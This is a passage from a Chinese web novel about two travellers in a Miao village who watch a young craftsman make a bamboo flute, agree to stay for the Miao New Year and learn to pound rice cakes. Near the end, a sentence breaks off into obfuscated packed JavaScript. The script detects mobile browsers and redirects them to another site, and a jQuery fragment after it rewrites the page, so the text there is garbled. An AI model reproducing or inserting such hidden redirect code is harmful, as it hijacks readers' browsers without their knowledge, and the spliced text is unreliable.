许祭和绫司司走到竹料旁，好奇地打量着。这截桂竹泛着莹润的玉色光泽，竹节均匀，纹理细密，确实是一块好料。“这竹料真漂亮。”绫司司轻声感叹，指尖轻轻抚摸着竹身，感受着它的温润与细腻。 “是啊，”沈司南点头，“这是后山向阳处长了五年的桂竹，纤维紧实，密度高，做成竹笛不容易开裂，音色也会更清亮。”他拿起一把细砂纸，开始轻轻打磨竹料，“你们看，打磨竹料要顺着纹理，不能逆着来，不然会破坏纤维结构，影响音色。而且要打磨得均匀光滑，不能有任何瑕疵。” 他的动作娴熟而专注，指尖捏着砂纸，顺着竹料的纹理轻轻摩挲，砂纸划过竹面的沙沙声，在竹棚里格外清晰。阳光透过竹棚的缝隙洒进来，落在他身上，将他的轮廓染得柔和，眼神里满是对竹料的珍视与对手艺的敬畏。 许祭和绫司司静静地站在一旁，看着沈司南打磨竹料，心里满是敬佩。他们能感受到沈司南对这门手艺的热爱与执着，每一个动作都充满了匠心。 “沈兄，做竹笛最难的是什么步骤？”许祭忍不住问道。 “最难的是调音。”沈司南一边打磨，一边说道，“钻孔要精准，孔位的偏差哪怕只有毫厘，音色都会天差地别。而调音更是关键，要反复吹奏、打磨，直到每个音都准确无误，音色清亮圆润。这需要耐心和经验，急不得。” “真是不容易。”绫司司感叹道，“每一支竹笛都凝聚着你的心血和匠心。” “是啊，”沈司南笑了笑，“做竹活讲究‘心手合一’，既要懂竹性，又要沉下心，不能有半分浮躁。每一支竹笛都是独一无二的，都有自己的灵魂。” 阳光渐渐升高，透过竹棚的缝隙洒在竹料上，泛着莹润的光泽。沈司南依旧专注地打磨着竹料，许祭和绫司司静静地看着，偶尔提出几个问题，沈司南都耐心地一一解答。竹棚里弥漫着浓郁的竹香，夹杂着淡淡的木屑味，还有阳光的味道，让人心里格外踏实。 许祭看着沈司南专注的身影，听着砂纸划过竹面的沙沙声，心里不禁生出几分感慨。在这个快节奏的时代，像沈司南这样坚守传统手艺、沉心静气做事的人已经不多了。他用自己的双手，将一根根普通的竹料，变成了精美的竹笛，也将苗家的文化与匠心，传承了下去。 绫司司则拿着手机，轻轻拍着沈司南打磨竹料的过程，想要把这珍贵的瞬间记录下来。她觉得，这些传统手艺不仅精美，还蕴含着深厚的文化底蕴，值得被更多的人了解和喜爱。 时间在不知不觉中流逝，阳光已经升到了天空中央，苗寨的清晨渐渐过去，迎来了热闹的上午。竹棚里，沈司南依旧专注地打磨着。 晨雾散尽时，苗寨的上午浸在透亮的阳光里。青石板路被晒得温热，踩上去带着干爽的触感，两旁吊脚楼的木窗尽数推开，廊下传来村民们闲谈的笑语，夹杂着劈柴声、鸡鸣声，还有远处隐约的溪水潺潺，构成一幅鲜活的苗寨晨景图。 沈司南的竹棚里，阳光透过竹条缝隙洒下，在地面投下细碎的光斑。他正坐在木工桌前，专注地打磨那截桂竹。竹料已褪去最初的翠青，泛着莹润的玉色光泽，他手中的细砂纸顺着竹纹轻轻摩挲，动作匀速而轻柔，砂纸划过竹面的沙沙声，在棚内格外清晰。许祭坐在一旁的竹凳上，手里拿着沈司南昨日送的竹哨，指尖无意识地摩挲着上面的流云纹，目光落在沈司南的动作上，看得格外认真。 “打磨这一步，要做到竹身没有丝毫毛刺，连竹节衔接处都要平滑过渡。”沈司南头也没抬，指尖捏着砂纸在竹节处反复擦拭，“不然不仅影响手感，吹奏时气流受阻，音色也会发闷。”他的手腕转动灵活，砂纸在竹身上留下均匀的摩擦痕迹，原本就细腻的竹面愈发温润，像上好的玉石。 许祭点头，凑近了些，能看到竹身泛着的淡淡光泽，指尖轻轻碰了碰，触感细腻无糙，带着竹料特有的微凉：“沈兄对这门手艺的讲究，真是让人佩服。”他想起昨日沈司南说的“心手合一”，此刻亲眼所见，才真正体会到其中的深意。 沈司南唇角弯了弯，放下砂纸，拿起一把小巧的刻刀：“老匠人说，竹是有灵性的，你对它用心，它就会用最好的音色回报你。”他握着刻刀，在竹笛的一端轻轻勾勒，“接下来要刻吹口，这部分的角度和深度很关键，直接影响气流的进入。”刻刀在竹面上游走，留下精准的刻痕，木屑簌簌落在桌案上，带着清新的竹香。 许祭看着他专注的眼神，那眼神里没有丝毫浮躁，只有对手艺的敬畏与执着。他忽然想起城里那些追求速成的匠人，对比之下，更觉得沈司南的坚守难能可贵：“现在愿意沉下心做这种传统手艺的年轻人，确实不多了。” 沈司南手上的动作没停，刻刀在他指尖仿佛有了生命：“喜欢就不觉得难。小时候跟着老匠人学，总觉得枯燥，后来慢慢发现，每一根竹料都有自己的脾气，每一次打磨、每一次雕刻，都是与竹料的对话。”他顿了顿，抬眼看向许祭，眼里带着浅浅的笑意，“就像这截桂竹，它长在深山五年，吸足了日月精华，我要做的，就是把它骨子里的清润音色给释放出来。” 说话间，吹口已经刻好。沈司南拿起竹笛，凑近唇边轻轻吹了一下，一段短促而清亮的音调出现在棚内，像山间的溪流跳跃而过，带着草木的清润感。他皱了皱眉，用细砂纸在吹口边缘轻轻打磨了几下，又吹了一声，音色果然更通透了些。 “还要反复调整。”他放下竹笛，拿起钻头和尺子，“接下来是钻孔，孔位必须精准，差一点都不行。”他用尺子在竹身上量了又量，用炭笔做下标记，标记点细小而清晰，没有丝毫犹豫。 许祭看着他精准的动作，忍不住问道：“这些孔位的距离，都是凭着经验记下来的吗？” “一开始是照着老匠人的图样，后来做的多了，就刻在心里了。”沈司南拿起钻头，固定在竹身的标记点上，轻轻转动，“不同长度、不同粗细的竹料，孔位也会略有调整，这需要根据竹料的实际情况来判断。”钻头钻进竹料的声音沉闷而均匀，他的力道控制得恰到好处，既不会损坏竹料，又能保证孔径光滑。 阳光渐渐升高，棚内的温度也慢慢上升。沈司南的额角渗出细密的汗珠，他随手用袖口擦了擦，依旧专注地钻孔。许祭起身，从一旁的竹篮里拿出水壶，倒了一杯水递过去：“沈兄，歇会儿喝口水吧，不急在这一时。” 沈司南接过水杯，仰头喝了一口，清凉的溪水顺着喉咙流下，缓解了燥热：“多谢。做这活计，一专注就忘了时间。”他放下水杯，看了看已经钻好的两个孔，满意地点点头，“进度还不错，中午之前应该能把所有孔位钻完，下午就能开始调音了。” 许祭看着桌上整齐排列的工具，还有那截渐渐显露出竹笛雏形的桂竹，心里满是期待：“真想早点听听它完整的音色。” “一定不会让你失望的。”沈司南笑着说道，重新拿起钻头，“这截竹料的质地很好，音色肯定清亮通透，带着后山的草木气息。” 两人又陷入了安静，棚内只剩下钻头转动的声音、砂纸摩擦的沙沙声，偶尔夹杂着几声远处的犬吠和村民的笑语。许祭没有再说话，只是静静地看着沈司南做事，看着他专注的侧脸，看着阳光洒在他靛蓝的布衫上，看着竹料在他手中一点点蜕变，心里生出一种莫名的踏实感。 他想起昨日在阿婆廊下的交谈，想起沈司南说起苗年习俗时的向往，想起他对传统手艺的坚守，忽然觉得，这个年轻匠人身上，藏着苗寨最珍贵的东西——那份对生活的热爱，对文化的坚守，还有那份不疾不徐、沉心静气的匠心。 不知不觉间，已近中午。沈司南终于钻完了最后一个孔，他放下钻头，长长地舒了一口气，拿起竹笛仔细端详。此刻的竹笛，已经初具雏形，竹身莹润，孔位整齐，吹口圆润，透着质朴而精巧的美感。 “终于把孔钻完了。”沈司南脸上露出欣慰的笑容，将竹笛递给许祭，“你摸摸看，感受一下。” 许祭接过竹笛，指尖触到温润的竹身，冰凉的触感顺着指尖蔓延开来。竹身光滑无糙，孔位边缘打磨得十分平整，没有丝毫毛刺。他轻轻吹奏了一下，虽然还未调音，音调不成章法，但那声音清亮而纯粹，带着竹料特有的清润感，确实让人惊艳。 “真好听。”许祭由衷地赞叹道，将竹笛还给沈司南，“等调音完成，音色肯定会更好。” “嗯，下午重点就是调音。”沈司南将竹笛放在桌上，用一块干净的布轻轻擦拭，“调音是最考验耐心的，可能要反复打磨几十次，才能达到理想的效果。” 棚外传来绫司司的声音，她提着一个竹篮，笑着走了进来：“你们俩在忙什么呢？我在阿嫂家煮了点粥，特意给你们带了些过来。” 许祭和沈司南抬头望去，只见绫司司手里提着一个竹篮，里面装着两碗温热的粥，还有几碟小菜。阳光洒在她脸上，笑容格外灿烂。 “正好饿了。”沈司南笑着起身，“辛苦绫姑娘了。” “不辛苦，”绫司司将竹篮放在桌上，“我看你们一直在忙，就没好意思打扰。快尝尝吧，阿嫂家的米煮的粥，很软糯。” 三人围坐在木工桌旁，一边喝粥，一边闲聊。绫司司好奇地问起竹笛的制作进度，沈司南一一解答，眼里带着对作品的期待。许祭看着眼前的两人，看着棚外明媚的阳光，看着远处错落的吊脚楼，心里忽然觉得，这样的上午，这样的时光，格外珍贵。 阳光透过竹棚的缝隙，洒在桌上的竹笛上，泛着莹润的光泽。它静静躺在那里，仿佛在等待着被赋予完整的生命，等待着用清亮的音色，诉说苗寨的故事，诉说匠人的匠心。而沈司南和许祭，这两个来自不同世界的人，也因这竹笛，因这苗寨的烟火气息，结下了一段难得的缘分。 苗寨的上午，温暖而宁静，充满了匠心与烟火气。这样的时光，慢得让人安心，美得让人沉醉。 好像一切都那么美好…… 2. 谈谈 竹笛的余音还在竹棚里轻轻回荡，阳光斜斜地洒在木工桌上，将两人的影子拉得很长。沈司南收拾着工具，指尖划过刚完工的竹笛，目光忽然望向棚外远处云雾缭绕的山峦，语气带着几分向往：“再过一个月，就是苗年了。” 许祭握着竹笛的手顿了顿，转头看向他：“苗年？就是阿婆之前说的那个热闹节日？” “嗯。”沈司南点头，脸上露出一抹期待的笑，“那是我们苗寨最隆重的节日，比过年还要热闹。”他放下手中的锉刀，坐在许祭对面的竹凳上，“到时候，寨里会提前杀猪宰羊，女人们忙着做酸汤鱼、蒸糯米饭、打粑粑，男人们会把寨门装点得红彤彤的，挂起红灯笼、贴起苗家剪纸。” 许祭听得饶有兴致，指尖无意识地摩挲着竹笛上的纹路：“听起来确实很热闹。”他想起阿婆说的长桌宴、拦门酒，还有爬坡杆比赛，心里不禁生出几分向往。 “何止是热闹。”沈司南眼里闪着光，细细说道，“苗年的前一天，寨里会举行祭祖仪式，老人们带着年轻人到祠堂祭拜祖先，祈求来年风调雨顺、五谷丰登。除夕夜，家家户户都会燃起篝火，大家围着篝火唱歌跳舞，芦笙声能传到山外去。”他顿了顿，又补充道，“大年初一早上，还要挨家挨户拜年，孩子们能收到装满糖果的红包，大人们则会互敬米酒，说些吉祥话。” “爬坡杆比赛和踩花山也会在苗年期间举行吧？”许祭想起之前的交谈，好奇地问道。 “没错。”沈司南笑着点头，“大年初二就开始踩花山，寨里的年轻人会穿上最漂亮的苗家衣裳，姑娘们的银饰叮当响，小伙子们则会展示自己的才艺，射箭、摔跤、爬坡杆，赢了的人能得到阿婆们亲手绣的苗锦帕子，那可是最珍贵的奖励。”他说起这些时，语气里满是自豪，“还有长桌宴，会从寨头摆到寨尾，几十张桌子连在一起，酸汤鱼、腊肉、糯米饭、米酒管够，大家不分你我，热热闹闹地坐在一起吃饭，那种氛围，城里是体会不到的。” 许祭听得满心向往，却又带着几分遗憾：“可惜我们这次行程安排得紧，怕是赶不上了。” 沈司南看着他脸上的神情，沉默了片刻，忽然认真地说道：“许兄，若是不嫌弃，不如留下来过苗年？” 许祭一愣，有些意外地看着他。 “我知道你们或许有自己的安排，但苗年的苗寨，才是最有味道的。”沈司南的眼神真诚，“到时候，我带你去看祭祖仪式，带你参加长桌宴，爬坡杆比赛我还能给你当向导，让你尝尝最地道的拦门酒。阿婆也一定会很高兴，她还说要给你和绫姑娘绣苗锦帕子呢。” 他顿了顿，又补充道：“寨里的人都很热情，来了就是客人，一定会把你们当成自家人对待。而且，苗年的竹笛表演也很精彩，到时候我用这支竹笛给你伴奏，让你听听最地道的苗寨民谣。” 阳光透过竹棚的缝隙，洒在沈司南的脸上，他的眼神里满是真诚与期待。许祭握着手中的竹笛，感受着上面残留的匠人温度，又想起苗寨淳朴的民风、美丽的景致，还有沈司南的热情与真诚，心里不禁有些动摇。 “沈兄的好意，我心领了。”许祭沉吟道，“只是我和绫司司出来时，确实有其他的行程安排。不过，我可以和她商量一下，看看能不能调整。” 沈司南脸上露出笑容，连忙说道：“好！不管你们能不能留下来，我都欢迎。若是能来，我提前给你们收拾好房间，让你们住得舒心。若是来不了，也没关系，以后有机会，一定要再来苗寨过一次苗年。” 许祭点点头，心里满是暖意：“一定。若是真能留下来，那可就太麻烦你了。” “不麻烦，能有你们这样的朋友一起过苗年，我也很高兴。”沈司南笑着说道，“到时候，我们还可以一起去后山采蓝草，我教你染布，或者一起做竹编，让你体验体验我们苗家的手艺。” 竹棚外，阳光依旧温暖，远处传来孩童们的嬉闹声和隐约的芦笙声。许祭握着手中的竹笛，看着沈司南真诚的笑容，心里忽然觉得，若是能留下来过苗年，一定是一段难忘的经历。他抬头望向棚外的苗寨景致，青瓦木楼、袅袅炊烟、青山绿水，一切都那么美好，让人舍不得离去。 “我一定会和绫司司好好商量的。”许祭郑重地说道，眼里也多了几分期待。 沈司南笑着点头，拿起桌上的竹笛，轻轻吹了一段欢快的旋律，音色清亮通透，带着浓浓的喜悦，仿佛在提前庆祝这个即将到来的盛大节日。竹笛的声音在苗寨的上午空气中弥漫，与远处的溪流声、鸟鸣声交织在一起，构成一曲温馨而动人的乐章。 夕阳把苗寨的青石板路染成暖金色，许祭握着那支温润的竹笛，和绫司司并肩走在回寄宿吊脚楼的路上。晚风拂过，廊下的靛蓝蜡染布轻轻晃动，带着草木的清香，远处传来村民归家的笑语，氛围格外惬意。 “沈司南邀请我们留下来过苗年。”许祭率先开口，语气里带着几分难掩的期待，指尖无意识地摩挲着竹笛上的纹路。 绫司司脚步一顿，眼睛瞬间亮了起来：“苗年？就是那个有长桌宴、爬坡杆比赛的苗年？”她想起沈司南和阿婆描述的热闹场景，脸上满是惊喜，“他真的邀请我们了？” “嗯，”许祭笑着点头，“他说苗年的苗寨才是最有味道的，还说要带我们看祭祖仪式、喝拦门酒，阿婆也想给我们绣苗锦帕子。”他把沈司南描述的苗年细节一一说来，从家家户户的篝火到踩花山的热闹，从酸汤鱼管够的长桌宴到赢了就有奖励的爬坡杆比赛，说得绘声绘色。 绫司司听得眼睛越发明亮，脚步都轻快了许多：“听起来也太有意思了！我之前还遗憾赶不上，没想到沈司南会邀请我们留下来。”她转头看向许祭，语气里满是期待，“我们可以留下来吗？之前的行程能不能调整呀？” 许祭看着她雀跃的模样，眼底也染上笑意：“我正想和你商量这件事。原本计划后天离开，但苗年确实难得，错过这次，下次不知道要等多久。”他顿了顿，又说道，“沈司南的心意很真诚，苗寨的人也都格外热情，留下来应该会是一段很难忘的经历。” “我同意！我超级想留下来！”绫司司立刻点头，生怕许祭改变主意，“长桌宴、拦门酒、芦笙舞，还有阿婆的苗锦帕子，想想都觉得激动。而且，还能再看看沈司南做竹活，说不定还能跟着学两手竹编呢。” 她越说越兴奋，语速都快了几分：“之前的行程没关系，大不了后面的景点往后推一推，或者精简一下。好不容易来一次苗寨，当然要体验最地道的节日氛围，不然多可惜呀。” 许祭看着她满心期待的样子，心里已经有了决定：“既然你也愿意，那我们就留下来。我明天和沈司南说一声，顺便调整一下后续的行程。” “太好了！”绫司司忍不住欢呼一声，抬手摸了摸手腕上的红绳平安结，“我现在就开始期待苗年了！不知道到时候会有多热闹，我一定要多拍点照片和视频，记录下来。” 两人回到吊脚楼时，中年妇人已经做好了晚饭，酸汤的香气弥漫在屋内。吃饭时，绫司司还在不停地念叨着苗年的事情，一会儿问许祭要不要提前准备点礼物，一会儿又说想看看苗家姑娘的银饰，满脸都是藏不住的期待。 许祭笑着一一回应，心里也满是憧憬。他看着桌上温热的饭菜，想着沈司南的真诚邀约，想着苗寨淳朴的民风，忽然觉得，这次临时改变的行程，或许会成为这段旅程中最珍贵的回忆。 晚饭后，绫司司迫不及待地拿出手机，开始查苗年的相关习俗，嘴里还时不时发出惊叹声。许祭则坐在窗边，握着那支竹笛，轻轻吹了一段简单的旋律。清亮的音色在屋内回荡，与窗外的虫鸣、流水声交织在一起，格外动听。 他想起沈司南说的，苗年时会用竹笛伴奏民谣，心里愈发期待起来。或许，这个苗年，会让他真正读懂苗寨的烟火气，读懂这份藏在山水与手艺里的传承与热爱。 “许祭，你看！”绫司司拿着手机凑过来，屏幕上是苗年踩花山的热闹场景，“你看这些姑娘的衣裳，也太漂亮了！还有这个爬坡杆比赛，看起来好刺激啊。” 许祭凑过去看着，眼里也满是期待：“到时候，我们一起去看。” 夜色渐深，苗寨陷入了静谧，但许祭和绫司司的心里，却因即将到来的苗年而充满了暖意与期待。他们知道，这个苗年，一定会成为一段难忘的经历，留在彼此的记忆里，温暖而绵长。 清晨的阳光刚漫过苗寨的山脊，将青黛色的山峦染成暖金色，许祭便揣着满心的雀跃往晒谷场的竹棚走去。青石板路被晨露润得微凉，踩上去带着轻快的声响，每一步都像是在与苏醒的苗寨对话。沿途的阿婆们正忙着晾晒衣物和刚收获的谷物，竹篮里的玉米、红豆在阳光下泛着饱满的光泽，见了许祭便笑着颔首，软糯的苗语问候混着草木清香，漫在晨间的空气里，格外亲切。 竹棚的木门虚掩着，里面传来砂纸摩挲竹料的沙沙声，清脆而有节奏，像是大自然的低语。许祭轻轻推开门，只见沈司南正蹲在木工桌旁，专注地打磨一段新的桂竹。他依旧穿着那件靛蓝布衫，袖口挽至小臂，露出的手腕上沾着几点细碎的竹屑，指腹的薄茧在阳光下清晰可见。阳光透过竹条缝隙落在他身上，将轮廓染得柔和，额前的碎发被晨光镀上一层浅金，神情专注得仿佛整个世界只剩下手中的竹料与工具。 “司南，早。”许祭笑着开口，声音里带着难掩的雀跃。 沈司南抬起头，见是他，脸上立刻扬起温和的笑，眼底的专注瞬间被暖意取代：“早，许兄。这么早过来，是有什么事吗？”他放下手中的砂纸，起身拍了拍手上的竹屑，竹屑簌簌落在地上，与阳光中的尘埃共舞。 许祭走到他面前，举起手中那支温润的竹笛，笛身泛着莹润的玉色光泽，上面的流云纹在晨光下愈发清晰，眼底闪着明亮的光：“来告诉你一个好消息——我和绫司司商量好了，我们决定留下来过苗年！” 沈司南的眼睛瞬间亮了起来，像是被点亮的星辰，脸上的笑容愈发真切，甚至带着几分意外的欣喜，语气都不自觉地提高了些：“真的？你们真的愿意留下来？”他似乎有些不敢相信自己的耳朵，又追问了一遍。 “当然！”许祭用力点头，语气里满是期待，“绫司司比我还兴奋，昨晚翻了一晚上苗年的习俗，从踩花山查到爬坡杆比赛，念叨着一定要亲身体验，还说要多拍些照片记录下来呢。” 沈司南闻言，忍不住笑出了声，眼角的纹路都透着欢喜，仿佛比自己收到礼物还要开心：“太好了！阿婆要是知道了，肯定也会特别高兴。”他搓了搓手，语气里满是干劲，“我这就去告诉阿婆，让她提前给你们收拾好隔壁的空房，再给你们做两身合身的苗家衣裳。苗年是我们苗寨最隆重的节日，穿苗家衣裳才够地道，也能更好地融入节日氛围。” “不用这么麻烦吧？”许祭连忙摆手，有些不好意思地说道，“我们带了换洗衣物，不用特意为我们做新衣裳的，太劳烦你和阿婆了。” “不麻烦，一点都不麻烦。”沈司南摆摆手，语气笃定而真诚，“阿婆的针线活是寨里最好的，做的苗装又好看又舒服，用的都是自家染的靛蓝布，绣着缠枝莲的纹样，穿在身上透气又体面。”他顿了顿，又说道，“而且，苗年的拦门酒、长桌宴这些重要场合，大家都会穿传统苗装，你们穿着苗装去，寨里的人会更把你们当自家人，也能感受到最纯正的节日氛围。” 许祭见他态度坚决，眼神里满是真诚，便不再推辞，笑着道谢：“那真是太谢谢你和阿婆了，这份心意我们收下了。” “跟我客气什么。”沈司南拍了拍他的肩膀，力道适中，带着真诚的暖意，“接下来这段时间，你们要是没事，就跟着我体验体验苗寨的日常。我可以带你们去后山采蓝草，看看蜡染的制作过程，还能教你们简单的竹编手艺，比如编个小竹篮、竹哨，让你们多了解了解我们苗家的传统文化。” “好啊！”许祭欣然应允，眼睛里满是期待，“我正想多学学这些传统手艺呢，之前看你做竹笛，就觉得特别有意思，每一个步骤都充满了匠心。” 沈司南笑着点头，目光落在许祭手中的竹笛上，眼神里满是珍视：“既然决定留下来，那这支竹笛正好能派上用场。苗年的时候，寨里的芦笙队会在晒谷场一起演奏，我教你吹几首苗寨的民谣，比如《苗岭的早晨》《迎客调》，到时候我们一起加入，和大家一起载歌载舞，肯定很热闹。” “真的吗？那太好了！”许祭眼睛一亮，他正愁不知道怎么报答沈司南的热情款待，这下正好有了机会，“我对乐器不算精通，但一定会好好学，争取不拖你后腿。” “放心吧，这些民谣的旋律都很简单，容易上手。”沈司南笑着安慰道，“我教你识谱，再带着你多练习几遍，很快就能学会。” 两人正说着，远处传来绫司司清脆的声音，带着雀跃的语气：“沈先生，早啊！许祭，你跟司南说好了吗？” 循声望去，只见绫司司提着一个小巧的竹篮，快步走了过来。她穿着米白色的连衣裙，长发用木簪束在脑后，几缕碎发被晨风吹得轻轻飘动，脸上满是掩饰不住的雀跃，竹篮里还放着两个刚从寄宿阿嫂家拿来的糯米团，散发着淡淡的米香。 “说了，司南正为我们高兴呢。”许祭笑着说道，侧身给她让出位置。 沈司南看向绫司司，笑着点头，语气真诚：“绫姑娘，欢迎你们留下来过苗年。接下来的日子，我会带你们好好体验苗寨的生活，教你们做苗家美食、学传统手艺，保证让你们过一个难忘又地道的苗年。” “太谢谢沈先生了！”绫司司兴奋地说道，眼睛里闪烁着期待的光芒，“我已经开始期待了，刚才在路上还看到阿婆在院子里做粑粑，糯米的香气飘得老远，闻着可香了。” “那是苗年要吃的糯米粑粑，”沈司南笑着解释，语气里满是对节日的憧憬，“接下来这段时间，寨里的人都会忙着准备年货，做酸汤、腌腊肉、打粑粑、酿米酒，家家户户都会飘出香味。你们可以跟着一起帮忙，亲手体验这些美食的制作过程，感受苗家的年味。” “好呀好呀！”绫司司连忙点头，脸上满是向往，“我之前就想试试做粑粑，看电视里说要反复捶打，就是不知道会不会做，到时候还要麻烦你多教教我。” “不难，很容易上手的，我教你。”沈司南笑着说道，语气温和而有耐心，“等会儿忙完这里的活，我就带你们去阿婆家，正好她今天要打粑粑，你们可以跟着学学，顺便尝尝刚出锅的热粑粑，沾着黄豆粉吃，味道特别好。” 他低头看了看桌上的竹料，又说道：“我这部分打磨工作也差不多了，再用细砂纸再过一遍就好，你们稍微等我几分钟。” 许祭和绫司司点点头，在一旁的竹凳上坐下。竹棚里弥漫着浓郁的竹香，夹杂着新鲜的木屑味，阳光透过竹条缝隙洒下，在地上投下细碎的光斑，随着微风轻轻晃动。许祭拿起桌上的一段边角竹料，指尖摩挲着上面细密的纹路，感受着竹料的温润与坚韧，心里对沈司南的敬佩又多了几分。绫司司则好奇地打量着棚内的工具，刨子、凿子、刻刀整齐排列，每一件都被擦拭得发亮，能看出主人对它们的爱惜。 没过几分钟，沈司南便完成了手中的活计，将工具一一归位，又仔细地将竹料码放整齐。“好了，我们走吧。”他转过身，脸上带着笑容，“阿婆家离这里不远，走路几分钟就到。” 三人并肩走出竹棚，晨雾已经完全散去，阳光明媚地洒在苗寨的每一个角落。青石板路上，村民们来来往往，有的背着竹篮去山上采草药，有的提着水桶去溪边挑水，有的在廊下整理刚染好的蜡染布，靛蓝的布料在阳光下泛着柔和的光泽。沿途的竹编篱笆上，牵牛花悄然绽放，粉紫色的花朵在绿叶的映衬下格外娇艳，偶尔有蝴蝶在花丛中飞舞，增添了几分生机与灵动。 沈司南一边走，一边给两人介绍苗年的准备工作：“苗年之前，家家户户都会把房子打扫干净，用新鲜的艾草熏屋，驱邪避灾。女人们会忙着做酸汤，我们苗家的酸汤要发酵好几个月，越陈越香，用来煮鱼、煮菜都特别美味。男人们则会去山上砍柴火，准备过年期间取暖和做饭用，还要把寨门装点得红彤彤的，挂起红灯笼和苗家剪纸。” “听起来就好热闹啊！”绫司司感叹道，“那祭祖仪式是怎么样的？是不是很隆重？” “嗯，非常隆重。”沈司南点头，语气里带着几分庄重，“祭祖仪式会在苗年的前一天举行，整个寨子的人都会聚集在祠堂前，老人们会带着年轻人祭拜祖先，献上糯米饭、腊肉、米酒等祭品，祈求祖先保佑来年风调雨顺、五谷丰登、家人平安。仪式结束后，大家还会一起唱祭祖歌，跳苗家舞，气氛特别庄重又热闹。” 许祭听得津津有味，忍不住问道：“那爬坡杆比赛和踩花山，是不是也很有看头？” “当然！”沈司南眼里闪着光，“爬坡杆比赛会在大年初二举行，杆身有三丈高，打磨得光滑无比，还会涂一层桐油，选手要手脚并用往上爬，既要有力气，又要有技巧，还要有胆量。赢了的人能得到阿婆们亲手绣的苗锦帕子，那可是最珍贵的奖励，比任何贵重的东西都难得。踩花山则更热闹，大家会穿上最漂亮的苗装，姑娘们的银饰叮当响，小伙子们会展示自己的才艺，射箭、摔跤、对歌，要是对上眼了，还能成就一段好姻缘呢。” 说话间，三人便来到了阿婆家门口。院子里飘出浓郁的糯米香气，阿婆正坐在竹凳上，用木槌捶打着石臼里的糯米，动作娴熟而有力。看到沈司南带着许祭和绫司司过来，阿婆立刻停下手中的活计，脸上露出慈祥的笑容：“司南，许先生，绫姑娘，你们来啦！快进来坐。” “阿婆，我们来跟您学做糯米粑粑。”沈司南笑着说道，“许兄和绫姑娘决定留下来过苗年了，我带他们来体验体验。” 阿婆闻言，眼睛瞬间亮了起来，拉着许祭和绫司司的手，语气格外欢喜：“真的呀？那可太好了！留下来好，留下来好，苗年人多热闹，我给你们做最好看的苗装，让你们过个热热闹闹的年。” 阿婆的手温暖而粗糙，带着常年劳作的痕迹，却让人感觉格外踏实。绫司司看着石臼里软糯的糯米，跃跃欲试地说道：“阿婆，我来试试捶粑粑吧。” “好呀，来，我教你。”阿婆笑着点头，将木槌递给她，“捶粑粑要用力均匀，顺着一个方向捶，把糯米捶得黏黏的、软软的才行。” 绫司司接过木槌，试着捶了几下，一开始力道掌握不好，糯米总是粘在木槌上，沈司南在一旁耐心指导：“下手要快一点，捶下去之后立刻提起来，这样就不容易粘了。” 许祭也在一旁帮忙，将散落的糯米重新拨回石臼里。阳光洒在院子里，温暖而明媚，木槌捶打糯米的咚咚声、阿婆的笑声、三人的交谈声交织在一起，构成一幅温馨而鲜活的画面。 沈司南看着许祭和绫司司认真学习的模样，脸上露出欣慰的笑容。他知道，这个苗年因为有了这两位朋友的加入，一定会更加热闹难忘。而许祭和绫司司看着眼前淳朴热情的阿婆和沈司南，感受着苗寨浓浓的烟火气与人情味，心里满是暖意与期待。他们知道，这段临时决定的停留，将会成为他们生命中最珍贵的回忆，而这个苗年，也一定会充满欢乐与感动，让他们永远铭记这份来自苗寨的真诚与温暖。 阳光渐渐升高，将整个院子染成暖金色，糯米的香气愈发浓郁，弥漫在苗寨的空气中，预示着一个热闹而喜庆的苗年，即将到来。 糯米捶打的咚咚声混着爽朗的笑声，在阿婆的小院里久久回荡。刚从石臼里捶好的糯米粑粑冒着氤氲热气，米香裹着金黄黄豆粉的甜香，漫过竹编篱笆，飘向寨里的青石板路。沈司南正拿着干净的粗布，帮绫司司擦掉指尖沾着的糯米黏团，动作轻柔，语气带着耐心：“下次捶的时候慢一点，糯米就不会粘得满手都是了。” 绫司司吐了吐舌头，指尖还残留着糯米的温热触感：“这活看着简单，没想到还挺考验力道的。”她刚说完，院门外忽然传来一阵轻快急促的脚步声，像春日里跳跃的溪流，伴着一道清脆如银铃的女声，穿透了院子里的热闹：“司南阿哥，你在家吗？阿娘让我来寻你！” 话音未落，竹编的院帘被轻轻掀开，一个穿着水绿色苗装的姑娘快步走了进来。她梳着两条乌黑油亮的长辫，垂在肩头，发梢系着两朵小巧的粉色绒球，随着走路的动作轻轻晃动。身上的苗装绣着细密的梨花纹样，针脚工整，水绿色的布料衬得她皮肤白皙透亮，领口、袖口和裙摆处缀着精致的银饰，阳光洒在上面，折射出细碎的光，走路时银饰碰撞，发出叮叮当当的清脆声响，像山间的泉水滴落磐石。 姑娘约莫十八九岁的年纪，眉眼弯弯，眼角带着天然的笑意，脸颊上泛着健康的红晕，一双眼睛明亮如星，透着活泼与灵动。她走进院子，一眼就看到了站在石臼旁的沈司南，刚要开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037589|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，目光却不经意间扫到了他身边的许祭和绫司司，脚步顿时顿了顿，眼神里闪过一丝不易察觉的好奇，随即又漾开爽朗的笑容，看向沈司南，声音甜润：“司南阿哥，我是梨春梦呀，阿娘让我来问问你，苗年芦笙队的排练，你明天有空参加吗？队长都问好几次了。” 沈司南抬起头，看到来人，脸上立刻露出温和熟络的笑容，停下手中的动作：“春梦，来了。”他侧身让出位置，抬手向许祭和绫司司介绍道，“这位是梨春梦，咱们寨里芦笙队的主唱，不仅唱歌好听，竹编手艺也是寨里年轻人里数一数二的，阿婆都常夸她心灵手巧。” 接着，他又转向梨春梦，语气自然地介绍许祭和绫司司：“春梦，这两位是许祭和绫司司，他们是来苗寨旅行的朋友，觉得咱们苗寨好，已经决定留下来过苗年了。” 